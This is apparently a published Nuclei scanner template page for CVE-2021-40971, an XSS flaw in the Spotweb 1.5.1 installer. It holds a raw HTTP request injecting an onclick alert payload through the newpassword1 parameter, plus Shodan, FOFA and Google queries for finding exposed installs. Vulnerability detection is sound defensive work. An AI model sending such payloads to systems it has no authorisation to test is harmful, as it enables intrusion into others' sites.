Spotweb <= 1.5.1 - Cross Site Scripting

ID: CVE-2021-40971

Severity: medium

Author: theamanrawat

Tags: cve2021,cve,xss,spotweb,spotweb_project

Description

Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the newpassword1 parameter.

YAML Source

id: CVE-2021-40971

info:
  name: Spotweb <= 1.5.1 - Cross Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the newpassword1 parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 1.5.2
  reference:
    - https://github.com/spotweb/spotweb/
    - https://github.com/spotweb/spotweb/issues/711
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40971
    - https://github.com/spotweb/spotweb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40971
    cwe-id: CWE-79
    epss-score: 0.00159
    epss-percentile: 0.5237
    cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: spotweb_project
    product: spotweb
    shodan-query:
      - title:"SpotWeb - overview"
      - http.title:"spotweb - overview"
    fofa-query: title="spotweb - overview"
    google-query: intitle:"spotweb - overview"
  tags: cve2021,cve,xss,spotweb,spotweb_project

http:
  - raw:
      - |
        POST /install.php?page=4 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        settingsform[newpassword1]=pdteam'+onclick='alert(document.domain)

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "onclick='alert(document.domain)"
          - "Spotweb"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402203fec351c6f0c485b8b1be7ad0671dc92eb1bc323578ec22d25fff3571e75604d02201910bc1f94827471d6c93288a265eef216857e8ac1ef0da7955b992a090f36a1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-40971.yaml"

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